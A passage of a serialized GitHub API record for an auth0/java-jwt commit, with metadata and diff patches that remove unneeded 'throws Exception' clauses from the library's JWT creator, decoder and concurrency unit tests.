             throw new NoSuchProviderException(String.format("No provider named [%s] installed", providerName));ueu(1f22f6cd51ec3dd035a81d4494d1231974e86505}(sha(1f22f6cd51ec3dd035a81d4494d1231974e86505node_idEC_kwDOAQtL0doAKDFmMjJmNmNkNTFlYzNkZDAzNWE4MWQ0NDk0ZDEyMzE5NzRlODY1MDUcommit}(author}(nameJames Andersonemailjim.anderson@auth0.comdate2022-03-02T21:44:23Zu	committer}(jR  James AndersonjT  jim.anderson@auth0.comjV  2022-03-02T21:44:23Zumessage+remove unneccesary throws clause from teststree}(jJ  (dc3bf17a7718a8771b0f22b1b1fb434ee4284687url^https://api.github.com/repos/auth0/java-jwt/git/trees/dc3bf17a7718a8771b0f22b1b1fb434ee4284687ujb  `https://api.github.com/repos/auth0/java-jwt/git/commits/1f22f6cd51ec3dd035a81d4494d1231974e86505
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuujb  \https://api.github.com/repos/auth0/java-jwt/commits/1f22f6cd51ec3dd035a81d4494d1231974e86505html_urlQhttps://github.com/auth0/java-jwt/commit/1f22f6cd51ec3dd035a81d4494d1231974e86505comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/1f22f6cd51ec3dd035a81d4494d1231974e86505/commentsjP  }(login
jimmyjamesidJ7 jL  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3jb  'https://api.github.com/users/jimmyjamesjn  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminujX  }(js  
jimmyjamesju  J7 jL  MDQ6VXNlcjI3NjIyNQ==jw  2https://avatars.githubusercontent.com/u/276225?v=4jy  h3jb  'https://api.github.com/users/jimmyjamesjn  https://github.com/jimmyjamesj|  1https://api.github.com/users/jimmyjames/followersj~  >https://api.github.com/users/jimmyjames/following{/other_user}j  7https://api.github.com/users/jimmyjames/gists{/gist_id}j  >https://api.github.com/users/jimmyjames/starred{/owner}{/repo}j  5https://api.github.com/users/jimmyjames/subscriptionsj  ,https://api.github.com/users/jimmyjames/orgsj  -https://api.github.com/users/jimmyjames/reposj  8https://api.github.com/users/jimmyjames/events{/privacy}j  7https://api.github.com/users/jimmyjames/received_eventsj  Userj  uparents]}(jJ  (1ccecd40417bb7e4da9cf94aa612a8ad4d0086fajb  \https://api.github.com/repos/auth0/java-jwt/commits/1ccecd40417bb7e4da9cf94aa612a8ad4d0086fajn  Qhttps://github.com/auth0/java-jwt/commit/1ccecd40417bb7e4da9cf94aa612a8ad4d0086fauastats}(totalM	additionsM	deletionsMufiles](}(jJ  (02666222b6a0726eb9576bf29fe75e9c5756eea4filename9lib/src/test/java/com/auth0/jwt/ConcurrentVerifyTest.javastatusmodifiedj  Kj  KchangesKblob_urlhttps://github.com/auth0/java-jwt/blob/1f22f6cd51ec3dd035a81d4494d1231974e86505/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FConcurrentVerifyTest.javaraw_urlhttps://github.com/auth0/java-jwt/raw/1f22f6cd51ec3dd035a81d4494d1231974e86505/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FConcurrentVerifyTest.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FConcurrentVerifyTest.java?ref=1f22f6cd51ec3dd035a81d4494d1231974e86505patchX  @@ -38,12 +38,12 @@ public class ConcurrentVerifyTest {
     private static ExecutorService executor;
 
     @BeforeClass
-    public static void beforeAll() throws Exception {
+    public static void beforeAll() {
         executor = Executors.newFixedThreadPool(THREAD_COUNT);
     }
 
     @AfterClass
-    public static void afterAll() throws Exception {
+    public static void afterAll() {
         executor.shutdown();
     }
 
@@ -68,7 +68,7 @@ private static class VerifyTask implements Callable<DecodedJWT> {
         }
 
         @Override
-        public DecodedJWT call() throws Exception {
+        public DecodedJWT call() {
             DecodedJWT jwt = null;
             try {
                 jwt = verifier.verify(token);u}(jJ  (2a8812bd9459550b93fc2cb61fdaf87da9122004j  3lib/src/test/java/com/auth0/jwt/JWTCreatorTest.javaj  modifiedj  K&j  K&j  KLj  https://github.com/auth0/java-jwt/blob/1f22f6cd51ec3dd035a81d4494d1231974e86505/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.javaj  https://github.com/auth0/java-jwt/raw/1f22f6cd51ec3dd035a81d4494d1231974e86505/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.java?ref=1f22f6cd51ec3dd035a81d4494d1231974e86505j  X6  @@ -31,7 +31,7 @@ public class JWTCreatorTest {
     public ExpectedException exception = ExpectedException.none();
 
     @Test
-    public void shouldThrowWhenRequestingSignWithoutAlgorithm() throws Exception {
+    public void shouldThrowWhenRequestingSignWithoutAlgorithm() {
         exception.expect(IllegalArgumentException.class);
         exception.expectMessage("The Algorithm cannot be null");
         JWTCreator.init()
@@ -40,7 +40,7 @@ public void shouldThrowWhenRequestingSignWithoutAlgorithm() throws Exception {
 
     @SuppressWarnings("Convert2Diamond")
     @Test
-    public void shouldAddHeaderClaim() throws Exception {
+    public void shouldAddHeaderClaim() {
         Map<String, Object> header = new HashMap<String, Object>();
         header.put("asd", 123);
         String signed = JWTCreator.init()
@@ -54,7 +54,7 @@ public void shouldAddHeaderClaim() throws Exception {
     }
 
     @Test
-    public void shouldReturnBuilderIfNullMapIsProvided() throws Exception {
+    public void shouldReturnBuilderIfNullMapIsProvided() {
         String signed = JWTCreator.init()
                 .withHeader(null)
                 .sign(Algorithm.HMAC256("secret"));
@@ -63,7 +63,7 @@ public void shouldReturnBuilderIfNullMapIsProvided() throws Exception {
     }
 
     @Test
-    public void shouldOverwriteExistingHeaderIfHeaderMapContainsTheSameKey() throws Exception {
+    public void shouldOverwriteExistingHeaderIfHeaderMapContainsTheSameKey() {
         Map<String, Object> header = new HashMap<String, Object>();
         header.put(PublicClaims.KEY_ID, "xyz");
 
@@ -79,7 +79,7 @@ public void shouldOverwriteExistingHeaderIfHeaderMapContainsTheSameKey() throws
     }
 
     @Test
-    public void shouldOverwriteExistingHeadersWhenSettingSameHeaderKey() throws Exception {
+    public void shouldOverwriteExistingHeadersWhenSettingSameHeaderKey() {
         Map<String, Object> header = new HashMap<String, Object>();
         header.put(PublicClaims.KEY_ID, "xyz");
 
@@ -95,7 +95,7 @@ public void shouldOverwriteExistingHeadersWhenSettingSameHeaderKey() throws Exce
     }
 
     @Test
-    public void shouldRemoveHeaderIfTheValueIsNull() throws Exception {
+    public void shouldRemoveHeaderIfTheValueIsNull() {
         Map<String, Object> header = new HashMap<String, Object>();
         header.put(PublicClaims.KEY_ID, null);
         header.put("test2", "isSet");
@@ -113,7 +113,7 @@ public void shouldRemoveHeaderIfTheValueIsNull() throws Exception {
     }
 
     @Test
-    public void shouldAddKeyId() throws Exception {
+    public void shouldAddKeyId() {
         String signed = JWTCreator.init()
                 .withKeyId("56a8bd44da435300010000015f5ed")
                 .sign(Algorithm.HMAC256("secret"));
@@ -224,7 +224,7 @@ public void shouldNotOverwriteKeyIdIfAddedFromECDSAAlgorithms() throws Exception
     }
 
     @Test
-    public void shouldAddIssuer() throws Exception {
+    public void shouldAddIssuer() {
         String signed = JWTCreator.init()
                 .withIssuer("auth0")
                 .sign(Algorithm.HMAC256("secret"));
@@ -234,7 +234,7 @@ public void shouldAddIssuer() throws Exception {
     }
 
     @Test
-    public void shouldAddSubject() throws Exception {
+    public void shouldAddSubject() {
         String signed = JWTCreator.init()
                 .withSubject("1234567890")
                 .sign(Algorithm.HMAC256("secret"));
@@ -244,7 +244,7 @@ public void shouldAddSubject() throws Exception {
     }
 
     @Test
-    public void shouldAddAudience() throws Exception {
+    public void shouldAddAudience() {
         String signed = JWTCreator.init()
                 .withAudience("Mark")
                 .sign(Algorithm.HMAC256("secret"));
@@ -262,7 +262,7 @@ public void shouldAddAudience() throws Exception {
     }
 
     @Test
-    public void shouldAddExpiresAt() throws Exception {
+    public void shouldAddExpiresAt() {
         String signed = JWTCreator.init()
                 .withExpiresAt(new Date(1477592000))
                 .sign(Algorithm.HMAC256("secret"));
@@ -272,7 +272,7 @@ public void shouldAddExpiresAt() throws Exception {
     }
 
     @Test
-    public void shouldAddNotBefore() throws Exception {
+    public void shouldAddNotBefore() {
         String signed = JWTCreator.init()
                 .withNotBefore(new Date(1477592000))
                 .sign(Algorithm.HMAC256("secret"));
@@ -282,7 +282,7 @@ public void shouldAddNotBefore() throws Exception {
     }
 
     @Test
-    public void shouldAddIssuedAt() throws Exception {
+    public void shouldAddIssuedAt() {
         String signed = JWTCreator.init()
                 .withIssuedAt(new Date(1477592000))
                 .sign(Algorithm.HMAC256("secret"));
@@ -292,7 +292,7 @@ public void shouldAddIssuedAt() throws Exception {
     }
 
     @Test
-    public void shouldAddJWTId() throws Exception {
+    public void shouldAddJWTId() {
         String signed = JWTCreator.init()
                 .withJWTId("jwt_id_123")
                 .sign(Algorithm.HMAC256("secret"));
@@ -302,7 +302,7 @@ public void shouldAddJWTId() throws Exception {
     }
 
     @Test
-    public void shouldRemoveClaimWhenPassingNull() throws Exception {
+    public void shouldRemoveClaimWhenPassingNull() {
         String signed = JWTCreator.init()
                 .withIssuer("iss")
                 .withIssuer(null)
@@ -313,7 +313,7 @@ public void shouldRemoveClaimWhenPassingNull() throws Exception {
     }
 
     @Test
-    public void shouldSetCorrectAlgorithmInTheHeader() throws Exception {
+    public void shouldSetCorrectAlgorithmInTheHeader() {
         String signed = JWTCreator.init()
                 .sign(Algorithm.HMAC256("secret"));
 
@@ -324,7 +324,7 @@ public void shouldSetCorrectAlgorithmInTheHeader() throws Exception {
     }
 
     @Test
-    public void shouldSetDefaultTypeInTheHeader() throws Exception {
+    public void shouldSetDefaultTypeInTheHeader() {
         String signed = JWTCreator.init()
                 .sign(Algorithm.HMAC256("secret"));
 
@@ -335,7 +335,7 @@ public void shouldSetDefaultTypeInTheHeader() throws Exception {
     }
 
     @Test
-    public void shouldSetCustomTypeInTheHeader() throws Exception {
+    public void shouldSetCustomTypeInTheHeader() {
         Map<String, Object> header = Collections.singletonMap("typ", "passport");
         String signed = JWTCreator.init()
                 .withHeader(header)
@@ -348,23 +348,23 @@ public void shouldSetCustomTypeInTheHeader() throws Exception {
     }
 
     @Test
-    public void shouldSetEmptySignatureIfAlgorithmIsNone() throws Exception {
+    public void shouldSetEmptySignatureIfAlgorithmIsNone() {
         String signed = JWTCreator.init()
                 .sign(Algorithm.none());
         assertThat(signed, is(notNullValue()));
         assertThat(TokenUtils.splitToken(signed)[2], is(""));
     }
 
     @Test
-    public void shouldThrowOnNullCustomClaimName() throws Exception {
+    public void shouldThrowOnNullCustomClaimName() {
         exception.expect(IllegalArgumentException.class);
         exception.expectMessage("The Custom Claim's name can't be null.");
         JWTCreator.init()
                 .withClaim(null, "value");
     }
 
     @Test
-    public void shouldAcceptCustomClaimOfTypeString() throws Exception {
+    public void shouldAcceptCustomClaimOfTypeString() {
         String jwt = JWTCreator.init()
                 .withClaim("name", "value")
                 .sign(Algorithm.HMAC256("secret"));
@@ -375,7 +375,7 @@ public void shouldAcceptCustomClaimOfTypeString() throws Exception {
     }
 
     @Test
-    public void shouldAcceptCustomClaimOfTypeInteger() throws Exception {
+    public void shouldAcceptCustomClaimOfTypeInteger() {
         String jwt = JWTCreator.init()
                 .withClaim("name", 123)
                 .sign(Algorithm.HMAC256("secret"));
@@ -386,7 +386,7 @@ public void shouldAcceptCustomClaimOfTypeInteger() throws Exception {
     }
 
     @Test
-    public void shouldAcceptCustomClaimOfTypeLong() throws Exception {
+    public void shouldAcceptCustomClaimOfTypeLong() {
         String jwt = JWTCreator.init()
                 .withClaim("name", Long.MAX_VALUE)
                 .sign(Algorithm.HMAC256("secret"));
@@ -397,7 +397,7 @@ public void shouldAcceptCustomClaimOfTypeLong() throws Exception {
     }
 
     @Test
-    public void shouldAcceptCustomClaimOfTypeDouble() throws Exception {
+    public void shouldAcceptCustomClaimOfTypeDouble() {
         String jwt = JWTCreator.init()
                 .withClaim("name", 23.45)
                 .sign(Algorithm.HMAC256("secret"));
@@ -408,7 +408,7 @@ public void shouldAcceptCustomClaimOfTypeDouble() throws Exception {
     }
 
     @Test
-    public void shouldAcceptCustomClaimOfTypeBoolean() throws Exception {
+    public void shouldAcceptCustomClaimOfTypeBoolean() {
         String jwt = JWTCreator.init()
                 .withClaim("name", true)
                 .sign(Algorithm.HMAC256("secret"));
@@ -419,7 +419,7 @@ public void shouldAcceptCustomClaimOfTypeBoolean() throws Exception {
     }
 
     @Test
-    public void shouldAcceptCustomClaimOfTypeDate() throws Exception {
+    public void shouldAcceptCustomClaimOfTypeDate() {
         Date date = new Date(1478891521000L);
         String jwt = JWTCreator.init()
                 .withClaim("name", date)
@@ -431,7 +431,7 @@ public void shouldAcceptCustomClaimOfTypeDate() throws Exception {
     }
 
     @Test
-    public void shouldAcceptCustomArrayClaimOfTypeString() throws Exception {
+    public void shouldAcceptCustomArrayClaimOfTypeString() {
         String jwt = JWTCreator.init()
                 .withArrayClaim("name", new String[]{"text", "123", "true"})
                 .sign(Algorithm.HMAC256("secret"));
@@ -442,7 +442,7 @@ public void shouldAcceptCustomArrayClaimOfTypeString() throws Exception {
     }
 
     @Test
-    public void shouldAcceptCustomArrayClaimOfTypeInteger() throws Exception {
+    public void shouldAcceptCustomArrayClaimOfTypeInteger() {
         String jwt = JWTCreator.init()
                 .withArrayClaim("name", new Integer[]{1, 2, 3})
                 .sign(Algorithm.HMAC256("secret"));
@@ -453,7 +453,7 @@ public void shouldAcceptCustomArrayClaimOfTypeInteger() throws Exception {
     }
 
     @Test
-    public void shouldAcceptCustomArrayClaimOfTypeLong() throws Exception {
+    public void shouldAcceptCustomArrayClaimOfTypeLong() {
         String jwt = JWTCreator.init()
                 .withArrayClaim("name", new Long[]{1L, 2L, 3L})
                 .sign(Algorithm.HMAC256("secret"));
@@ -464,7 +464,7 @@ public void shouldAcceptCustomArrayClaimOfTypeLong() throws Exception {
     }
 
     @Test
-    public void shouldAcceptCustomClaimOfTypeMap() throws Exception {
+    public void shouldAcceptCustomClaimOfTypeMap() {
         Map<String, Object> data = new HashMap<>();
         data.put("test1", "abc");
         data.put("test2", "def");
@@ -478,7 +478,7 @@ public void shouldAcceptCustomClaimOfTypeMap() throws Exception {
     }
 
     @Test
-    public void shouldRefuseCustomClaimOfTypeUserPojo() throws Exception {
+    public void shouldRefuseCustomClaimOfTypeUserPojo() {
         Map<String, Object> data = new HashMap<>();
         data.put("test1", new UserPojo("Michael", 255));
 
@@ -598,7 +598,7 @@ public void shouldAcceptCustomListClaimOfBasicObjectTypes() throws Exception {
     }
 
     @Test
-    public void shouldAcceptCustomClaimForNullListItem() throws Exception {
+    public void shouldAcceptCustomClaimForNullListItem() {
         Map<String, Object> data = new HashMap<>();
         data.put("test1", Arrays.asList("a", null, "c"));
 
@@ -642,7 +642,7 @@ public void shouldAcceptCustomClaimWithNullListAndRemoveClaim() throws Exception
     }
 
     @Test
-    public void shouldRefuseCustomClaimForNullMapValue() throws Exception {
+    public void shouldRefuseCustomClaimForNullMapValue() {
         Map<String, Object> data = new HashMap<>();
         data.put("subKey", null);
 
@@ -654,7 +654,7 @@ public void shouldRefuseCustomClaimForNullMapValue() throws Exception {
     }
 
     @Test
-    public void shouldRefuseCustomClaimForNullMapKey() throws Exception {
+    public void shouldRefuseCustomClaimForNullMapKey() {
         Map<String, Object> data = new HashMap<>();
         data.put(null, "subValue");
 
@@ -667,7 +667,7 @@ public void shouldRefuseCustomClaimForNullMapKey() throws Exception {
 
     @SuppressWarnings({"unchecked", "rawtypes"})
     @Test
-    public void shouldRefuseCustomMapClaimForNonStringKey() throws Exception {
+    public void shouldRefuseCustomMapClaimForNonStringKey() {
         Map data = new HashMap<>();
         data.put(new Object(), "value");
 
@@ -679,7 +679,7 @@ public void shouldRefuseCustomMapClaimForNonStringKey() throws Exception {
     }
 
     @Test
-    public void shouldRefuseCustomListClaimForUnknownListElement() throws Exception {
+    public void shouldRefuseCustomListClaimForUnknownListElement() {
         List<Object> list = Arrays.asList(new UserPojo("Michael", 255));
 
         exception.expect(IllegalArgumentException.class);
@@ -690,7 +690,7 @@ public void shouldRefuseCustomListClaimForUnknownListElement() throws Exception
     }
 
     @Test
-    public void shouldRefuseCustomListClaimForUnknownListElementWrappedInAMap() throws Exception {
+    public void shouldRefuseCustomListClaimForUnknownListElementWrappedInAMap() {
         List<Object> list = Arrays.asList(new UserPojo("Michael", 255));
 
         Map<String, Object> data = new HashMap<>();
@@ -704,7 +704,7 @@ public void shouldRefuseCustomListClaimForUnknownListElementWrappedInAMap() thro
     }
 
     @Test
-    public void shouldRefuseCustomListClaimForUnknownArrayType() throws Exception {
+    public void shouldRefuseCustomListClaimForUnknownArrayType() {
         List<Object> list = new ArrayList<>();
         list.add(new Object[]{"test"});
 u}(jJ  (536c2dbbea6cb7aa87e743a20b7b6f5b93566899j  3lib/src/test/java/com/auth0/jwt/JWTDecoderTest.javaj  modifiedj  K j  K j  K@j  https://github.com/auth0/java-jwt/blob/1f22f6cd51ec3dd035a81d4494d1231974e86505/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTDecoderTest.javaj  https://github.com/auth0/java-jwt/raw/1f22f6cd51ec3dd035a81d4494d1231974e86505/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTDecoderTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTDecoderTest.java?ref=1f22f6cd51ec3dd035a81d4494d1231974e86505j  X4  @@ -24,37 +24,37 @@ public class JWTDecoderTest {
     public ExpectedException exception = ExpectedException.none();
 
     @Test
-    public void getSubject() throws Exception {
+    public void getSubject() {
         DecodedJWT jwt = JWT.decode("eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ");
         assertThat(jwt.getSubject(), is(notNullValue()));
         assertThat(jwt.getSubject(), is("1234567890"));
     }
 
     // Exceptions
     @Test
-    public void shouldThrowIfTheContentIsNotProperlyEncoded() throws Exception {
+    public void shouldThrowIfTheContentIsNotProperlyEncoded() {
         exception.expect(JWTDecodeException.class);
         exception.expectMessage(startsWith("The string '"));
         exception.expectMessage(endsWith("' doesn't have a valid JSON format."));
         JWT.decode("eyJ0eXAiOiJKV1QiLCJhbGciO-corrupted.eyJ0ZXN0IjoxMjN9.sLtFC2rLAzN0-UJ13OLQX6ezNptAQzespaOGwCnpqk");
     }
 
     @Test
-    public void shouldThrowIfLessThan3Parts() throws Exception {
+    public void shouldThrowIfLessThan3Parts() {
         exception.expect(JWTDecodeException.class);
         exception.expectMessage("The token was expected to have 3 parts, but got 2.");
         JWT.decode("two.parts");
     }
 
     @Test
-    public void shouldThrowIfMoreThan3Parts() throws Exception {
+    public void shouldThrowIfMoreThan3Parts() {
         exception.expect(JWTDecodeException.class);
         exception.expectMessage("The token was expected to have 3 parts, but got 4.");
         JWT.decode("this.has.four.parts");
     }
 
     @Test
-    public void shouldThrowIfPayloadHasInvalidJSONFormat() throws Exception {
+    public void shouldThrowIfPayloadHasInvalidJSONFormat() {
         String validJson = "{}";
         String invalidJson = "}{";
         exception.expect(JWTDecodeException.class);
@@ -63,7 +63,7 @@ public void shouldThrowIfPayloadHasInvalidJSONFormat() throws Exception {
     }
 
     @Test
-    public void shouldThrowIfHeaderHasInvalidJSONFormat() throws Exception {
+    public void shouldThrowIfHeaderHasInvalidJSONFormat() {
         String validJson = "{}";
         String invalidJson = "}{";
         exception.expect(JWTDecodeException.class);
@@ -92,29 +92,29 @@ public void shouldThrowWhenPayloadNotValidBase64() {
     // Parts
 
     @Test
-    public void shouldGetStringToken() throws Exception {
+    public void shouldGetStringToken() {
         DecodedJWT jwt = JWT.decode("eyJhbGciOiJIUzI1NiJ9.e30.XmNK3GpH3Ys_7wsYBfq4C3M6goz71I7dTgUkuIa5lyQ");
         assertThat(jwt, is(notNullValue()));
         assertThat(jwt.getToken(), is(notNullValue()));
         assertThat(jwt.getToken(), is("eyJhbGciOiJIUzI1NiJ9.e30.XmNK3GpH3Ys_7wsYBfq4C3M6goz71I7dTgUkuIa5lyQ"));
     }
 
     @Test
-    public void shouldGetHeader() throws Exception {
+    public void shouldGetHeader() {
         DecodedJWT jwt = JWT.decode("eyJhbGciOiJIUzI1NiJ9.e30.XmNK3GpH3Ys_7wsYBfq4C3M6goz71I7dTgUkuIa5lyQ");
         assertThat(jwt, is(notNullValue()));
         assertThat(jwt.getHeader(), is("eyJhbGciOiJIUzI1NiJ9"));
     }
 
     @Test
-    public void shouldGetPayload() throws Exception {
+    public void shouldGetPayload() {
         DecodedJWT jwt = JWT.decode("eyJhbGciOiJIUzI1NiJ9.e30.XmNK3GpH3Ys_7wsYBfq4C3M6goz71I7dTgUkuIa5lyQ");
         assertThat(jwt, is(notNullValue()));
         assertThat(jwt.getPayload(), is("e30"));
     }
 
     @Test
-    public void shouldGetSignature() throws Exception {
+    public void shouldGetSignature() {
         DecodedJWT jwt = JWT.decode("eyJhbGciOiJIUzI1NiJ9.e30.XmNK3GpH3Ys_7wsYBfq4C3M6goz71I7dTgUkuIa5lyQ");
         assertThat(jwt, is(notNullValue()));
         assertThat(jwt.getSignature(), is("XmNK3GpH3Ys_7wsYBfq4C3M6goz71I7dTgUkuIa5lyQ"));
@@ -123,37 +123,37 @@ public void shouldGetSignature() throws Exception {
     // Public PublicClaims
 
     @Test
-    public void shouldGetIssuer() throws Exception {
+    public void shouldGetIssuer() {
         DecodedJWT jwt = JWT.decode("eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJKb2huIERvZSJ9.SgXosfRR_IwCgHq5lF3tlM-JHtpucWCRSaVuoHTbWbQ");
         assertThat(jwt, is(notNullValue()));
         assertThat(jwt.getIssuer(), is("John Doe"));
     }
 
     @Test
-    public void shouldGetSubject() throws Exception {
+    public void shouldGetSubject() {
         DecodedJWT jwt = JWT.decode("eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJUb2szbnMifQ.RudAxkslimoOY3BLl2Ghny3BrUKu9I1ZrXzCZGDJtNs");
         assertThat(jwt, is(notNullValue()));
         assertThat(jwt.getSubject(), is("Tok3ns"));
     }
 
     @Test
-    public void shouldGetArrayAudience() throws Exception {
+    public void shouldGetArrayAudience() {
         DecodedJWT jwt = JWT.decode("eyJhbGciOiJIUzI1NiJ9.eyJhdWQiOlsiSG9wZSIsIlRyYXZpcyIsIlNvbG9tb24iXX0.Tm4W8WnfPjlmHSmKFakdij0on2rWPETpoM7Sh0u6-S4");
         assertThat(jwt, is(notNullValue()));
         assertThat(jwt.getAudience(), is(IsCollectionWithSize.hasSize(3)));
         assertThat(jwt.getAudience(), is(IsCollectionContaining.hasItems("Hope", "Travis", "Solomon")));
     }
 
     @Test
-    public void shouldGetStringAudience() throws Exception {
+    public void shouldGetStringAudience() {
         DecodedJWT jwt = JWT.decode("eyJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJKYWNrIFJleWVzIn0.a4I9BBhPt1OB1GW67g2P1bEHgi6zgOjGUL4LvhE9Dgc");
         assertThat(jwt, is(notNullValue()));
         assertThat(jwt.getAudience(), is(IsCollectionWithSize.hasSize(1)));
         assertThat(jwt.getAudience(), is(IsCollectionContaining.hasItems("Jack Reyes")));
     }
 
     @Test
-    public void shouldGetExpirationTime() throws Exception {
+    public void shouldGetExpirationTime() {
         DecodedJWT jwt = JWT.decode("eyJhbGciOiJIUzI1NiJ9.eyJleHAiOjE0NzY3MjcwODZ9.L9dcPHEDQew2u9MkDCORFkfDGcSOsgoPqNY-LUMLEHg");
         assertThat(jwt, is(notNullValue()));
         assertThat(jwt.getExpiresAt(), is(instanceOf(Date.class)));
@@ -164,7 +164,7 @@ public void shouldGetExpirationTime() throws Exception {
     }
 
     @Test
-    public void shouldGetNotBefore() throws Exception {
+    public void shouldGetNotBefore() {
         DecodedJWT jwt = JWT.decode("eyJhbGciOiJIUzI1NiJ9.eyJuYmYiOjE0NzY3MjcwODZ9.tkpD3iCPQPVqjnjpDVp2bJMBAgpVCG9ZjlBuMitass0");
         assertThat(jwt, is(notNullValue()));
         assertThat(jwt.getNotBefore(), is(instanceOf(Date.class)));
@@ -175,7 +175,7 @@ public void shouldGetNotBefore() throws Exception {
     }
 
     @Test
-    public void shouldGetIssuedAt() throws Exception {
+    public void shouldGetIssuedAt() {
         DecodedJWT jwt = JWT.decode("eyJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE0NzY3MjcwODZ9.KPjGoW665E8V5_27Jugab8qSTxLk2cgquhPCBfAP0_w");
         assertThat(jwt, is(notNullValue()));
         assertThat(jwt.getIssuedAt(), is(instanceOf(Date.class)));
@@ -186,28 +186,28 @@ public void shouldGetIssuedAt() throws Exception {
     }
 
     @Test
-    public void shouldGetId() throws Exception {
+    public void shouldGetId() {
         DecodedJWT jwt = JWT.decode("eyJhbGciOiJIUzI1NiJ9.eyJqdGkiOiIxMjM0NTY3ODkwIn0.m3zgEfVUFOd-CvL3xG5BuOWLzb0zMQZCqiVNQQOPOvA");
         assertThat(jwt, is(notNullValue()));
         assertThat(jwt.getId(), is("1234567890"));
     }
 
     @Test
-    public void shouldGetContentType() throws Exception {
+    public void shouldGetContentType() {
         DecodedJWT jwt = JWT.decode("eyJhbGciOiJIUzI1NiIsImN0eSI6ImF3ZXNvbWUifQ.e30.AIm-pJDOaAyct9qKMlN-lQieqNDqc3d4erqUZc5SHAs");
         assertThat(jwt, is(notNullValue()));
         assertThat(jwt.getContentType(), is("awesome"));
     }
 
     @Test
-    public void shouldGetType() throws Exception {
+    public void shouldGetType() {
         DecodedJWT jwt = JWT.decode("eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXUyJ9.e30.WdFmrzx8b9v_a-r6EHC2PTAaWywgm_8LiP8RBRhYwkI");
         assertThat(jwt, is(notNullValue()));
         assertThat(jwt.getType(), is("JWS"));
     }
 
     @Test
-    public void shouldGetAlgorithm() throws Exception {
+    public void shouldGetAlgorithm() {
         DecodedJWT jwt = JWT.decode("eyJhbGciOiJIUzI1NiJ9.e30.XmNK3GpH3Ys_7wsYBfq4C3M6goz71I7dTgUkuIa5lyQ");
         assertThat(jwt, is(notNullValue()));
         assertThat(jwt.getAlgorithm(), is("HS256"));
@@ -216,55 +216,55 @@ public void shouldGetAlgorithm() throws Exception {
     //Private PublicClaims
 
     @Test
-    public void shouldGetMissingClaimIfClaimDoesNotExist() throws Exception {
+    public void shouldGetMissingClaimIfClaimDoesNotExist() {
         DecodedJWT jwt = JWT.decode("eyJhbGciOiJIUzI1NiJ9.e30.K17vlwhE8FCMShdl1_65jEYqsQqBOVMPUU9IgG-QlTM");
         assertThat(jwt, is(notNullValue()));
         assertThat(jwt.getClaim("notExisting"), is(notNullValue()));
         assertThat(jwt.getClaim("notExisting"), is(instanceOf(NullClaim.class)));
     }
 
     @Test
-    public void shouldGetValidClaim() throws Exception {
+    public void shouldGetValidClaim() {
         DecodedJWT jwt = JWT.decode("eyJhbGciOiJIUzI1NiJ9.eyJvYmplY3QiOnsibmFtZSI6ImpvaG4ifX0.lrU1gZlOdlmTTeZwq0VI-pZx2iV46UWYd5-lCjy6-c4");
         assertThat(jwt, is(notNullValue()));
         assertThat(jwt.getClaim("object"), is(notNullValue()));
         assertThat(jwt.getClaim("object"), is(instanceOf(Claim.class)));
     }
 
     @Test
-    public void shouldNotGetNullClaimIfClaimIsEmptyObject() throws Exception {
+    public void shouldNotGetNullClaimIfClaimIsEmptyObject() {
         DecodedJWT jwt = JWT.decode("eyJhbGciOiJIUzI1NiJ9.eyJvYmplY3QiOnt9fQ.d3nUeeL_69QsrHL0ZWij612LHEQxD8EZg1rNoY3a4aI");
         assertThat(jwt, is(notNullValue()));
         assertThat(jwt.getClaim("object"), is(notNullValue()));
         assertThat(jwt.getClaim("object").isNull(), is(false));
     }
 
     @Test
-    public void shouldGetCustomClaimOfTypeInteger() throws Exception {
+    public void shouldGetCustomClaimOfTypeInteger() {
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoxMjN9.XZAudnA7h3_Al5kJydzLjw6RzZC3Q6OvnLEYlhNW7HA";
         DecodedJWT jwt = JWT.decode(token);
         assertThat(jwt, is(notNullValue()));
         assertThat(jwt.getClaim("name").asInt(), is(123));
     }
 
     @Test
-    public void shouldGetCustomClaimOfTypeDouble() throws Exception {
+    public void shouldGetCustomClaimOfTypeDouble() {
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoyMy40NX0.7pyX2OmEGaU9q15T8bGFqRm-d3RVTYnqmZNZtxMKSlA";
